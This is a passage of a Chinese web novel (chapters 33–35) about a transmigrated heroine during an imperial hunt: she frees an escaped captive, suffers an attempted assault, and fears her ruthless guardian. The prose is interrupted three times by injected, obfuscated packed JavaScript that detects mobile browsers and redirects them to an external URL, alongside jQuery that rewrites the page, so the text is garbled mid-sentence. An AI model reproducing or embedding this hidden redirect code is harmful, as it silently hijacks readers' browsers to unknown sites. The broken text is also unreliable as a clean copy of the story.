它们伏低身体,脚步极轻地朝着叶冬知这边靠近。 她又示意几人扔了一些东西干扰狼的注意,渐渐地,两头狼有些烦躁,也不如开始一般警惕。 眼见时机正好,叶冬知大喝一声,“就是现在!” 两只箭从侧面猛地射出,一支箭正中狼的脖颈,这头狼呜咽几声,挣扎了几下没了动静。 然而另一支没那么好运,只射中了另一头狼的眼睛。 被激怒的狼低吼一声,朝着几人奔来。 剩下三个侍从抽出长刀,配合默契地砍在狼的身上,不多时,因寡不敌众,这头狼还是倒下了。 众人皆松了一口气,墨香赶紧冲过去扶起泥地里的邬雯,探了探鼻息。 好在只是吓晕了,人还活着。 “怎么会弄成这样?” 叶冬知忍不住问。 墨香嗫嚅了一番,才说出实情来。 “今早小姐收到裴公子的信,说约她在这附近一见。奴婢见正在下雨,劝小姐雨停了再去,可小姐喜欢裴公子是人尽皆知的事,奴婢劝不动,只能陪着她到这里来。” “没想到根本就没见到裴公子,小姐又生气又失落,本来都准备往回走了,却突然冲出来一头狼,奴婢吓得滚下了坡,等爬上来的时候听见小姐惨叫一声,被狼拖走了......” 听完,叶冬知不由得想笑,邬雯真是蠢到家了,裴砚对她一点意思都没有,怎么会突然约她到这里。 想必是她平日得罪了谁,别人故意算计她呢。 但话也不能说得太绝对,她只点到为止,“你赶紧带她回去吧,等看了随行的医官再去向裴公子求证一下是否真有这回事。” “是。” 邬雯伤得有些重,三个侍从先陪着墨香与邬雯回去,剩余两个负责她的安全。 她沿着来路回去,深一脚浅一脚地踩在泥泞的土里,鞋袜已全部灌进了雨水。 一阵急促的奔跑声响在不远处响起。 啪嗒——啪嗒—— 那是光脚踩在湿泞泥土里的声音。 她侧目望去,一个浑身带血的人拼尽全力往前跑着,双手被缚住,任由无数尖利的枝叶刮过他的身体。 仿佛像没有痛觉一般,他奔跑的速度丝毫没减,反而像带着极致的惊慌和孤注一掷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525175|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的勇气,不顾一切地向前跑着。 紧接着,“噗通”一声,像是被绊住了脚,狠狠摔在了地上,等了半晌,也没见他爬起来。 叶冬知脑海中忽然浮现出一个人。 她朝着那处走去。 身后侍从拦住她,“叶小姐,还是我们去吧,这里不是很安全。” 她回,“无妨,这里在围猎场的范围内,刚才那两头狼应当是意外,我很快就回来,你们在此处等我。” 见她执意如此,两个侍从也不敢多说什么,只能见她撑着伞逐渐远去。 斑杂的泥地中,有数不清坑坑洼洼的积水,一颗高大的常青树下,趴着一个鲜血淋漓的人。 他比她上次见他时更惨了,身上的粗布衣衫几乎都被刀剑和树枝划烂,露出他布满伤痕、满是发脓腐烂的后背。 即便雨水冲刷了不少脏污,仍然难以抵挡他身上的恶臭。 脚光着,脚底血肉模糊,烂肉与泥土碎叶裹在一起,光是看着就叫人触目惊心。 她垂眼看着,难怪再也没爬起来,原是头磕到了一块石头,血流不止,估计是死了。 居然死了。 叶冬知有些惊讶,她会这样想。 难以相信,任凭安南王世子如何虐打、蹂躏,那时他仍然没有低下头,脊背更无半点弯折。 看得出,他很想活,毕竟她记得他的眼睛,虽然表面麻木,但里面藏着的生机和隐忍,她仍一清二楚。 这样倔强的人居然就这么死了,还死得这样容易,相对他的反抗和不屈来说,甚至有些可笑。 她将伞往前移,为他挡住了头顶的雨水。 他的脸侧着,乱糟糟的头发挡住他的眉眼,下半张脸依然被那块破布紧紧裹着。 鬼使神差地,她忽然伸手,想去触碰那被藏在破布之下的地方。 突然—— 身下的人猛地支起上半身,然后用头将她狠狠撞到在地,紧接着,他迅速站起来,膝盖重重压下,紧紧顶着她的咽喉。 一切发生得太快,电光火石间,叶冬知只觉天地倒转,手上的伞也脱了手,摔落在泥地之中。 一阵窒息感传来,她挣扎了几下,却都被少年死死压住,无论如何都动弹不得。 对方丝毫没有怜悯她,居高临下、毫无情绪地看着她,然后从喉咙中发出了一道声音。 “你......死......” 沙哑、涩然,像是许久没说话过,依稀能听出点属于他这个年纪男子的音色。 叶冬知憋得脸通红,整个后背陷入湿润肮脏的泥地之中,她用手拍打着少年的腿,说出了断断续续的话。 “你、放开,我、我没想.....咳咳杀你......” 对方并不相信她的话,面无表情看着她,反而加重了膝盖的力道。 喉咙仿佛要被重物生生碾碎,再不做点什么,叶冬知怀疑自己真的要命丧于此。 她用尽最后一点力气,慌不择路摸到他腿上一处伤口,然后用手指使劲朝里扣。 少年吃痛闷哼一声,腿上卸了一些力道,叶冬知也终于得以喘息。 她赶忙说,“我猜你是在逃跑,但我和抓你的人不是一伙的,我只是碰巧路过这里。” 说完,她注意到他被绳子束缚住的双手,继续道,“我可以帮你解开你手上的绳子。” 少年盯着她,浅棕色的眼睛凑近一些,仿佛在思考她的话。 然,片刻之后他松了膝盖,正当叶冬知庆幸之时,他忽然用他双手间的绳子勒住了她的脖子。 断断续续的话从他口中溢出,“骗、子,不.....信。” 殷水玉依然记得,当初那群人被他快杀掉时也是如此,他一时犹豫,却马上被捅了一刀,紧接着一堆人朝他蜂拥而上。 而后发生的事,是他此生的噩梦。 他好不容易寻到时机逃出来,他不会再心软。 手上逐渐用力,瘦弱的女子抵不过他的力气,只能无助挣扎。 他垂眸看她,才看清她的脸。 她的眼睛通红,因痛苦溢出了眼泪,那双眼前几日看他时,还不是这番模样。 他忽然松了手。 劫后余生的叶冬知大口大口喘息着,四肢酸软无力。 虽然心有余悸,但她仍然颤抖着手从发间抽出了簪子,履行她的承诺。 见此,少年浑身紧绷,还没等他动作,就见她拿着簪子,一点点挑开了缚住他双手的死结。 绳索落下,她沙哑着声音道,“你走吧。” 你走吧。 原来,她说的是真的,她没有骗他。 殷水玉愣住了。 那些暗无天日被囚禁和虐待的日子里,没有人对他说过这句话。 所有人都骂他是贱奴,是畜生。 手上忽然传来一阵冰凉的触感,那是她将这支簪子放到了他的手心。 他在自己奇异的心跳声中,听见她说,“逃出去之后,把簪子卖了换钱,活下去吧。” 对。 他要活下去。 他没有更多机会,这是唯一一次。 身上无孔不入的疼痛在提醒着他,殷水玉默然,攥住簪子,再次朝前跑去。 脚下的地混杂着石子,脚依然很疼,但他这次却从容不少。 他的手没有再被捆住,他有更多的可能跑出去。 林中树木高大茂密,地形复杂,他钻进一处灌木,忽然顿了脚,回头看去。 那女子将伞从地上捡起来,抖落泥水,又重新遮在了头上。 她的耳垂上,莹白如玉的珍珠坠子,在淅沥的雨幕中依然清晰可见。 33. 第 33 章 雨声不停,落在林中嘈杂不已。 直到有脚步声响起,待在原地的两个侍从悬着的心才放了下来。 但当他们抬眸,刚放下来的心又高高吊起。 不久前,清艳荣华的少女,原本披着一件精致昂贵的披风,发髻整齐,可才短短两刻钟不见,她的发髻便散了,身后的白色披风更是被泥水浸湿,沾染上许多污垢,身前的衣服更是一片泥泞。 “叶小姐,您这是?” 其中一人不由得发问,额间已渗出些许薄汗。 若是贵人真遭遇了不测,那他们便是有几条命也不够赔罪的。 叶冬知不动声色将衣领往上扯了扯,遮住脖颈间还未消散的红痕,若无其事道: “无妨,方才只是不小心摔了一脚,先回去吧。” 两个侍从也不敢多言,只好跟在她身后。 回到帐内,阿蔷早已回来了,她将弄脏的披风递给阿蔷,平静地换了身衣服才问,“三小姐的事,大公子知道了吗?” 阿蔷点头,“放心吧小姐,我都办妥了。” 既然邬涟已知此事,她便不用再操心。 方才外面淋了些雨,又受了一番惊吓,骤然平静下来,倒是有几分精神不济。 阿蔷见状,也未多问,连忙出去端了碗姜汤进来,让她先饮下去去寒。 这场雨下到午时便停了,叶冬知待在帐内没出去,倒是邬涟从午间回来便一直在调查邬雯那件事。 身为邬雯的长兄,又兼刑部侍郎之位,按照邬涟的性格,绝对无法容忍有人在他眼皮子底下作恶。 当晚,作恶之人就被找到了。 用过晚膳,叶冬知忽闻帐外一阵嘈杂,她掀帘看去,见邬涟的帐外跪着一男一女。 男子约四十余岁,穿着官服,观其颜色,应当品阶不高。 他在帐外跪了好一阵,也未见邬涟出来,只好舔着老脸认错。 “下官教女无方,伤了大人的妹妹,实不应该,希望大人看在小女年幼的份上,暂且放过她这一回。” 说话间,男人已脸涨得通红,周围的婢女与侍从皆窃窃私语,令男人本就面上无光的头低得更低。 他身侧跪着的年轻女子,叶冬知瞥了一眼,倒是有些印象,这是邬雯的小姐妹之一。 恐怕邬雯也没想到,平日与自己姐姐长妹妹短的人,居然会在背后这样算计自己。 那女子已浑身抖如筛糠,说不出一句完整的话来。 她脸色煞白,心跳如雷。 她没想到邬雯会差点丧命,她只是看不惯邬雯仗着自己的爹是永定侯,又有个天子臂膀的兄长,成日在她面前摆出高人一等的姿态。 更何况,还只是个庶女。 她原本只想让邬雯白走一趟的,没成想会这么严重。 邬涟的手段京中谁没听过,管你是平民百姓还是皇亲国戚,只要犯了事,落在他的手上,只掉层皮那都是轻的。 她不想,她不想! 在两人的忐忑不定中,帐布终于被掀开。 雨过天晴的阳光照在帐内人的身上,那张脸神姿威严,冷漠如冰,一副不可侵犯的姿态。 他垂眸看向地上跪着的两人,冷声开口,“郑大人,刑法不可废,按律,郑小姐当杖三十,再入狱两月。” 话音刚落,那本就精神紧绷到极限的郑小姐,还没听完,就突地两眼一翻,生生吓晕了过去。 被换做郑大人的男人匆忙将人从地上抱起来,焦急唤道,“湘儿!湘儿!” 邬涟居高临下扫视过地上父女情深的二人,脸上没有丝毫怜悯和动容,大发慈悲轻飘飘道: “既然郑小姐已经晕过去了,那便等她醒了再罚吧,不过,若想装病逃过刑罚,便是罪加一等。” 那厢郑大人不敢多言,红着眼睛将爱女扶下去。 看完了热闹,叶冬知松手放下帐布,站在帐篷入口处的男人陡然侧目,幽幽扫了她一眼。 明明是极轻的一眼,但是她偏偏觉得有股难言的心惊。 接下来的三天是此次围猎的重头戏,皇帝也会亲入猎场。 夺得头筹者,天子将会亲口允诺一个愿望。 巨大的诱惑下意味着巨大的风险,叶冬知不会骑马,索性就在帐篷里待了三天。 吃腻了伙房做的菜羹,她便教阿蔷如何将腌制好的肉拿来做烧烤。 在帐内吃着烧烤听着雨声,倒也不算无趣。 第三天傍晚,围猎结束,拔得头筹的人是邬涟。 听到这个结果,她也并不意外,毕竟是系统选定的攻略对象,自然是出类拔萃,武艺超群。 她吃完晚膳消食的时候,正碰见邬涟回帐。 还未见到他的人,便听到一阵七嘴八舌的夸赞声。 她大致听了几句,左右都是夸邬涟射艺好,颇有永定侯当年风范之类的话。 很快,一众青年男子拥着一个人越走越近。 参加这次围猎的世家子弟皆穿着骑装,但随着最中间那人映入视线,周围所有人仿佛都在顷刻间黯然失色。 一身玄色暗纹鲛绡骑装,窄袖收紧,交领滚着一圈银狐绒,下着同色骑裤束于玄色鹿皮靴中。 绸缎般的墨发悉数束在同色冷玉发冠之内,行走间发尾荡起的弧度都显得冷冽锋利。 他身形极好,肩宽腰窄,背部宽阔,长腿劲瘦匀称,肤色冷白,是以,他脸上那细密的血珠,让他整个人多了几分杀伐和冷酷。 他接过身侧人递来的手帕,慢条斯理地擦拭着手上沾染的血迹。 似乎是感觉到她的视线,邬涟微微偏头,以一种近乎是睥睨的冷淡姿态,将她惊艳的神色尽收眼底。 很快,他就在一众男子的簇拥下进了帐篷。 今夜邬涟的帐内好不热闹,推杯换盏声,谈笑声,直到很晚才逐渐淡去。 等到声音渐渐平息之后,叶冬知才从帐内出来透气。 一只手突然从身后握住她的小臂,她惊慌地回头,看见了一张肥胖油腻的脸。 安南王世子。 回想起上次他临走前那意味不明的眼神,叶冬知顿时心中警铃作响,迅速将手从他手中抽了出来。 见她反抗,安南王世子有些不悦,加上喝了酒,更让他有些肆无忌惮。 “别给本世子敬酒不吃吃罚酒,惹恼了本世子,让你吃不了兜着走!” 语罢,他眼神迷恋,伸手朝着叶冬知的脸摸去。 “啪!” 一声巴掌声在寂静的夜里炸响,叶冬知握着发颤的手腕,后退两步,警惕地看着对面的男人。 “我是永定侯的未婚妻,你放肆!” 这一巴掌将安南王世子半边脸都打肿了,也让他的酒意醒了几分。 他朝地上吐出一口血水,扭了扭脖子,语气威胁,“你敢打本世子,好啊,就算永定侯的女人又怎么样,本世子也要尝尝滋味,到时候玩腻了把你挖个坑埋了,对外说你失踪,他永定侯又能把本世子如何?” 虽是纨绔,但安南王威名在外,身为独子的他虽然武功不算出众,但也绝非寻常女子能敌。 他上前一步,精准地揪住叶冬知的衣襟,用力一扯,衣衫破碎,将她半边白皙的肩膀连带着臂膀全部暴露在外。 见此,安南王世子眼中像燃起了一团火。 他几乎可以想象,这样的尤物在他身下哭泣求饶的模样有多动人,光是想想,就令他浑身血液沸腾。 叶冬知自然看出对方不会轻易放过她,她顾不得许多,下意识就往前跑,却听见身后传来一声沉重的“噗通”声。 她回头一看,见那男子不知何时倒在了地上,头恰巧磕在了一块尖利的石块上,脑袋顿时血流不止。 她惊恐地愣在原地,抬头扫见一片玄色衣尾。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525176|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 视线顺着这片衣尾往上,最终落在一张冷清不悦的脸上。 邬涟衣裳未换,眼底墨色沉沉,正一言不发地垂眸看她。 叶冬知颤声道:“他死了?” 他松了石子,擦掉手上的泥土,语气漠然。 “快了。” 他这幅无关紧要的样子,冷气顿时蹿上叶冬知的脊背,她身体僵硬,眼中的惊恐不言而喻。 她勉力维持着面上的神情,不至于过分失态,“你骗人的吧?” 邬涟丢了手中绢帕,朝着她缓步而来,他在她身前站定,高大的影子将她悉数笼罩。 他启唇,长睫在眼下覆下阴翳,语气淡淡,“我不像你,我从不骗人。” 随着这句话,他的目光转而落在她一侧裸露的臂膀上。 除却方才被安南王世子扯过的衣领处,留下了一道指甲的刮痕,她的脖颈处还有一道浅淡的红痕。 他微微蹙起了眉,想凑近点看清楚些。 但对方却不由自主地后退一步。 对上她颤抖的眼睫,他轻声问,“你怕我?” 与此同时,他俯身逼近她,鼻间的热气喷洒在她的锁骨处。 他又问,“这里是怎么来的?” 叶冬知僵着身子,明白过来他说的是她脖颈间的痕迹。 她本欲张口,但想起若是如实说出来,被他知道她是为了救另一个人男人才如此,她从心底里觉得,会发生一些超出她意料之外的事情。 见她闭口不言,他抬眸与她对视,“裴砚?” 她摇头,他的视线落到地上半死不活的男人身上,几乎是肯定的语气,“那是他了。” 他这几日虽不在,但他留了眼线,她除却那日见了裴砚,不可能还单独见了其他男人,除非—— 邬涟直起身子,神色忽然温和下来。 “刚才是骗你的,他死不了,只是昏过去了。” 闻言,叶冬知悬着的心放松了几分。 她本质上同邬涟是不同的,她从一个人人平等的世界而来,一时无法接受一个活生生的人就这样死在她面前。 她朝着地上看了看,安南王世子的手指微微动了动,正挣扎着爬起来。 可是下一刻—— 邬涟神情自若地一脚踏在那人的手上,狠狠旋了几圈。 一阵清晰的、令人毛骨悚然的手骨断裂的声音响彻在夜晚寂静的空气中。 霎时间,男子惨叫一声,彻底昏死过去。 叶冬知惊惧地盯着他,声音微弱颤抖,“你干什么?!” 邬涟侧头看她,眼角荡出愉悦笑意,他语气冰冷淡漠,像是在说一件稀松平常的事情。 “他这只手碰了不该碰的东西,自然该付出点代价。” 此时此刻,叶冬知已经不能准确地形容自己看到这残忍的场景是什么反应,她眼睫颤得厉害,浑身冰冷,不自觉地开始后退。 她也没有精力去想得罪了安南王世子,邬涟该如何脱身。 邬涟随着她后退的脚步往前,一步一步像是踏在她的心上。 她害怕地几乎要哭出来,声音哽咽道:“你别过来。” 他像是未听见这话一般,径直往前,神情被阴影笼罩,突地顿住了脚。 而此时,叶冬知的后背也撞上帐篷的柱子。 再无可退。 他掀起眼帘,眼中神色明明灭灭。 他道:“但有一件事,我不会骗你。” 叶冬知低着头,眼神颤抖飘忽,不敢与他对视。 他募地上前,贴近她,在她耳边笑道: “今日捕猎,我手上的血,是裴砚的。” 她浑身一软,滑坐在地,像是被毒舌缠住脖颈,滑腻冰冷,顺着皮肤浸入骨血。 “我不是告诉过你,不能同裴砚单独出去吗?” “可是你忘了。” 34. 第 34 章 叶冬知僵坐在地上,整个人像被投入冰窖。 在他踩断安南王世子的手之前,她本想好了说辞。 但那些话,都在此刻溃不成军。 她突然觉得自己一点都不了解邬涟。 他长着一张白璧无瑕,不可亵渎的脸,清冷克己只是他的表象。 而他真正的内里,恶劣、冷血,有着常人难以匹及的掌控欲。 她现在一点也不想攻略邬涟了,如果实在回不了家就算了吧,她想逃跑,像那个在雨中拼尽全力奔跑的少年一样。 逃离,是她此刻唯一的想法。 看着她苍白的脸色,邬涟意识到她还在害怕他。 他垂眸,纤长的睫毛盖住眼底的困惑。 为什么会怕他。 是她不听话,他也没有伤害她,甚至连一句重话也没有对她说过。 他在保护她。 不论是裴砚还是安南王世子,他们都不守规矩,冒犯她,欺辱她。 他仅仅是在做该做的事。 这是他身为永定侯大公子的责任,为义父保护未来义母安然无恙,他一点也没做错。 但是,他却不开心。 甚至,邬涟抚上自己的心口,这里,有点闷。 他蹲下身,与她面对面,也不说话,就静静地看她。 然后忽然开口,“我夺了这次围猎的魁首。” 叶冬知警惕地看着他,猜不准他的心思,也不敢贸然开口。 即便在系统又在脑中发出警报,要她安抚攻略目标的情绪。 见她又不说话,邬涟有些无措。 最近几日,她好似总不愿意回答他的话,就连敷衍也是少之又少。 他又自顾自说,“我猎了一头虎,四只狼,两头野猪,还有麋鹿、狐狸若干。” 纵使叶冬知当下不想与邬涟有交集,但在系统迟来的惩罚下,她仍然不得不与他虚与委蛇。 “哦,很厉害。”她忍着细密的电击,尽量如常地说出这句话。 听她回应,他眼睫颤了颤,伸手将她额间被冷汗浸湿的头发拨到耳后。 “裴砚只猎了三只狼,一头野猪,比我少很多。” 她被电得视线几乎要模糊,意识混乱地应了声,“......嗯。” 他蹲在地上,比她低了一头,从下而上地盯着她的脸。 “还有,那不是裴砚的血,我骗了你,扯平了。” “所以......不要怕我。” 最后几个字他说得很轻,说出这几个字的时候他自己也很意外。 但未容他细想,只见面前的人忽然毫无预兆地倒了下来,整个人无力地跌进他的怀里。 他慌忙去探她的鼻息。 好在是正常的。 * 眼皮像灌了水一般沉重。 叶冬知费力睁开眼,入目依然是熟悉的帐顶。 她怎么会在床上? 愣了好一会,她才想起来她好像是因为当时很害怕邬涟,不敢按照要求执行任务,被系统电晕了。 她略微动了动身子,酸麻和瘫软从浑身各处传来,令她倒吸一口气。 依照她现在的身体情况来看,至少有两天下不来床。 感知到她醒了,系统在她脑海中发出冷冰冰的警告声: 【宿主因拒绝执行任务,遭到电击惩罚。】 【下次如果宿主仍然拒绝执行任务,将被就地抹杀。】 一股火憋在心里没地散,本来她还有些昏沉,这一来直接被系统气清醒了。 但愤怒之后,是一阵难以忽视的后怕。 罢了。 叶冬知闭了闭眼,两边都是屎,若非要选的话,还是邬涟吧。 至少暂时死不了,就是精神受点折磨。 她做好选择后,觉得很渴,想唤阿蔷给她倒点水喝。 但一偏头,在床榻边见到一张完美无瑕的脸。 邬涟依旧是那身骑装,他单手撑着头,眼下有轻微的青黑,呼吸均匀,像是睡熟了。 叶冬知脑子中顿时蹦出个有些惊悚的猜测—— 不会吧,邬涟在这里守了她一夜? 面前的人眼皮动了动,随即睁开了眼睛。 “醒了?可还有哪里不适?” 他开口,音色如碎玉相击,带着刚醒的微微沙哑,因为离得太近,他的声音传进她耳中,引得她鼓膜都微微震动。 “我没事了。” 注意到她干裂的唇,他起身倒了杯茶水递给她,然后接着说,“医官说你是因惊吓过度才晕厥的。” 他顿了顿,声音轻了点,就连眸光也暗了下去,“......是因为我吗?” 太直白的问题了,让她怎么回答。 见她面露难色,他也不强求,只道,“抱歉,是我的问题。” 说完这句话,帐内陷入了诡异的沉默。 似乎是有些忍受不了这种沉默,邬涟抿唇,起身离开。 临走时,他忽而说,“你好好休养,这几日我把长安留给了你,你若是有什么想做的,尽可吩咐他。” 想不明白邬涟的意图,她索性不再琢磨,唤了阿蔷进来,为她梳洗。 阿蔷是个闲不住的,一边伺候她一边道,“小姐你可没看见,昨夜你晕倒后,大公子的脸色可吓人了,黑沉沉的,吓得几个医官都不敢吭声。” “医官诊治完后,他一个劲儿地追问你是为何晕倒的,医官说你惊吓过度,大公子就不说话了。” “小姐,你昨夜透气是碰见什么了吗,难道是那安南王世子?莫非是——” 叶冬知手中的调羹顿了一下,打断她,“那安南王世子如今如何了?” 提到这个,阿蔷冷哼一声,“听说他摔伤了脑袋,又断了手脚,这下怕是有好几个月下不来床。他本就是个纨绔,听说府中掳了好些个漂亮的女子,哦!听说还有几个小倌呢!呸,这等淫贼,活该!” 阿蔷还在骂,但她心中却有些隐隐的担忧。 安南王世子如今这幅样子都是因她而起,邬涟他自己倒是不怕,若是这安南王世子继续找她麻烦,她该怎么办? 想了半晌,她叹口气,算了,到时也只有兵来将挡水来土掩了。 西凤山林荫茂密,夏季多雨。 到晚上时又下起了密密麻麻的小雨。 长安得了邬涟的命令,一直候在帐外,虽然不至于冷得受不了,但他还是忍不住在原地跺了跺脚。 叶冬知看到帐外的身影,有些不忍,对阿蔷道,“你去将长安叫进来吧,外面有些冷。” 阿蔷赶紧提醒她,“小姐,不妥!” 叶冬知摆手,“不是有屏风吗,又没让他宿在里面,让他进来取会暖。” 阿蔷不满地将长安叫进来。 她不由得想,许是跟着大公子久了,长安耳濡目染也学着一副冷冰冰的样子。 只不过大公子神仪仙姿,那是高岭之花,而长安却像是小人得志,成日拿鼻孔看人。 长安进来后,行了个礼,便规矩站在一旁。 吃完东西,叶冬知蓦地出声,“长安,你跟着大公子很久了吧?” “是,已有十七年了。” 十七年。 她垂眸,既然准备继续攻略,那自然多了解一些攻略目标是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“而且,在属下的印象中,侯爷很少夸赞公子,在他眼里,公子一直做得都不够好。公子从小容貌便超出常人,为此,侯爷还曾说公子长得过于柔弱,没有丝毫男子气概。” 看到叶冬知眼里的震惊,长安住了嘴没再说更多。 就这还是他挑好的说了,公子真实的日子比这更难过。 都说公子命好,从一个弃婴一跃成为永定侯府的大公子,还得了永定侯悉心教导,真是撞了大运。 可公子的苦又有谁知道。 公子从小就在打压和严苛之下长大,所以养成了古板寡言、重礼守矩的性格。 叶冬知默然,心道邬涟是深受中式教育的荼毒啊,没有抑郁和自闭已经很不错了。 她不由得想起侯府那个英年早逝的侯夫人,“我听说侯夫人是个温柔的女子,她对邬涟呢?” 提到侯夫人,长安脸色陡然变得很难看。 “侯夫人她......对公子非打即骂。” “为何?”叶冬知咂舌。 “侯夫人无法生育,又看到侯爷如此重视公子,加之公子出色,久而久之她便觉得公子是侯爷在外的私生子,于是趁侯爷不在便殴打公子,还专挑别人看不见的地方,公子时常后背都是淤青的。” 听到此处,叶冬知不由得心揪了起来,“那他不反抗吗?” 长安摇头,声音略有哽咽,“公子本就不是侯爷亲生,一直在府中谨小慎微,加之侯爷对公子有恩,他每每也只是默默忍受,并不曾告诉于侯爷。” 话落,帐内一片沉默。 叶冬知在心底叹口气,畸形的童年经历害人啊,难怪现在的邬涟阴晴不定的。 她心头复杂,一时间不知道该说些什么。 长安在一侧,看见叶冬知眼中的不忍,抹了抹眼角的泪花。 公子还是太老实,不知道赢得一个女子的心,便是要先让她心疼你。 这些话他知道公子说不出口,公子一向十分要强,断然不会将这些事讲给叶小姐听。 既然公子不做,那他便来做。 若是公子真喜欢,与侯爷争上一争又如何。 35. 第 35 章 三日后,叶冬知休养得差不多了,正巧此次围猎也快结束。 明日天子与众臣便会悉数返京。 今夜,是离开西凤山的最后一夜。 天子未待在行宫,领着随行的两个妃嫔从山顶下来,选了一处平坦开阔之地设宴。 当今天子正值壮年,坐主位,龙袍缀珠,神色威仪。阶下大臣身着朝服,按官阶依次落座。此次赴宴的公子、小姐皆居于家中长辈身后。 邬涟官居从二品,又得天子恩典,与裴太傅并坐。 其后是邬雯、邬彦兄妹二人,叶冬知坐在最后。 她抬眼望去,浩浩荡荡约有二百余人,离得远的,只怕是皇帝说了什么都不太能听得见。 不多时,宴会正式开始。 叶冬知撑着手听了一会,无非是官员们变着花样哄皇帝开心,甚是无聊。 不过好在这是帝宴,桌上满是珍馐,看得她不由食指大动。 吃到一半,天子开始提到此次围猎的事,表现出色的世家子弟皆受到赏赐,很快,轮到了邬涟。 作为此次围猎的魁首,成绩斐然,自然轻而易举地吸引了在场所有人的注意。 他坐在天子近前,神色淡然,姿态端正,绛紫色官服严谨威仪,衬得他面如冰玉,气势逼人。 不少贵女从父兄身后探出头来,含羞带怯地打量这位有史以来最年轻的朝廷重臣。 天子亦龙颜大悦,“围猎每年都有,爱卿已连夺三年魁首,今年,你想要什么?” 这份圣宠足以令人忘乎所以,然邬涟神色并无波动,只道,“臣只愿陛下龙体康健,天下太平,百姓安康。” 客套的话皇帝听得不少,闻言他摆手,“诶,爱卿每年都是如此说,机会只有一次,不如想好了再说。” “朕记得你年纪不小了吧,至今还未娶妻,不如,朕今日就在此为你赐婚,你看上哪家小姐,尽管开口!” 话落,人群中有人窃窃私语,纷纷猜测邬涟到底会选哪家小姐。 座下御史大夫家的女儿道,“都说这邬涟是活阎王,但我就喜欢这样的,试问他这般样貌、这般能力的,京中有几个未成婚的世家子能比得上他?” “做你的春秋大梦去,他现在便是尚公主也尚的,哪能轮到你了?”一侧着湖绿襦裙的小姐哼了一声,这是太仆寺家的嫡次女。 右卫将军的独女,眉眼英气,姿态桀骜,“之前不是说永定侯老夫人看上了刑部尚书家的方令仪吗,听说两家老夫人还是手帕交呢,我看这赐婚人选八成要落在她头上了。” 闻言,太仆寺家的“呀”了一声,捏着帕子惊奇道,“你还不知道啊?那方令仪前些日子当众被那邬涟扫地出门了,我看八成是闹僵了。不过也是好笑,堂堂二品大员的嫡女居然被扫地出门,真是奇耻大辱,换我的话,这宴会我都缩在帐内不来了呢。” 语罢,周围几个小姐都捂着嘴笑了起来。 说话的那几位小姐家世都不低,皆是正三品与从三品,方令仪坐在离她们不远处,将她们未曾刻意遮掩的话听了个清清楚楚。 她死死绞着手里的帕子,咬着唇,眼尾气得通红。 当时她不知邬涟为何把事情做得这么绝,害得她在这京都都抬不起头来,事后才知原是她那拎不清的母亲,想要把握住邬涟这个金龟婿,命她的贴身丫鬟下了药在她送给邬涟的百合莲子羹里。 虽然当时邬涟拒绝了他,并未喝下,但保不齐这叶冬知后来拿着她的东西送给了邬涟,这才被邬涟发现。 知道事情始末和真相后,她气得与母亲大吵一架,邬涟虽是受害者,但他万万不该在众目睽睽下将她赶出府。 这口气,她时至今日都咽不下。 每每想起便如鲠在喉。 她闭了闭眼,试图平复下心绪,但耳畔那几人还在继续说。 “那方令仪也不看看自己有多出众,虽对外宣称琴棋书画样样精通,可哪家千金不是如此,我倒听说,镇北王有意向将自己女儿嫁给邬涟呢。” “长乐郡主美若天仙,又温柔慈悲,倒确实与邬涟挺般配的,一个在刑部沾了一身煞气,一个广施恩惠给他攒攒功德,真是巧了哈哈哈哈。” “不过话说回来,那方令仪现在议亲怕是难了,这京中有名望的谁家会娶她,名声都臭了。” 几人正说得兴起,侧目忽然发现方令仪正脸色阴沉地盯着她们,顿时一个个噤了声,偏过头去。 处于话题中心的人并不知其间暗流汹涌,邬涟抬手作揖,面色从容拒绝皇帝的提议: “陛下,臣还无意娶妻。” 那厢,皇帝被反驳倒也没有生气,只好奇问,“哦?可是因为还没有心仪的女子?” 闻言,邬涟眼睫轻轻颤了颤,脑海中浮现出一个人,玉肌雪肤,柳眉杏眼,爱戴珍珠耳坠,时常眼含妩媚,挑逗戏弄于他。 片刻后,他抿唇回,“是。” 皇帝并未强求,只是叹了口气,“既然如此便罢了,爱卿今后若有心仪女子,再来告诉朕也不迟。” 随着皇帝这句话出口,座下眼含期盼的小姐们眸光骤然黯淡,有人失落,也有人暗自松了一口气。 正在这时,一道清脆的女子声音在略显安静的环境中骤然响起: “陛下!臣女有一事禀报!” 一个面容端庄秀丽,身着锦锻华服的年轻女子站起来,正是方令仪。 刑部尚书吓了一跳,连忙呵斥,“坐下!这哪有你说话的份,一点规矩都没有!” 皇帝却被勾起了兴趣,“无妨,方爱卿不必动怒,不如听听她要说什么。” 方尚书闭了嘴,只狠狠瞪了一眼方令仪,暗示她不要乱说话。 但此时方令仪满脑子都是方才诸小姐讽刺的话,以及当日被赶出永定侯府的场景,两旁行人的指指点点,如今她仍历历在目。 她将手握成拳头,隐在袖中微微颤抖,胸口因接下来要说的话激动非常,不停地上下起伏。 “陛下,臣女要告发刑部侍郎邬涟与其义父,也就是永定侯的未婚妻有染!” 话落,满座哗然! 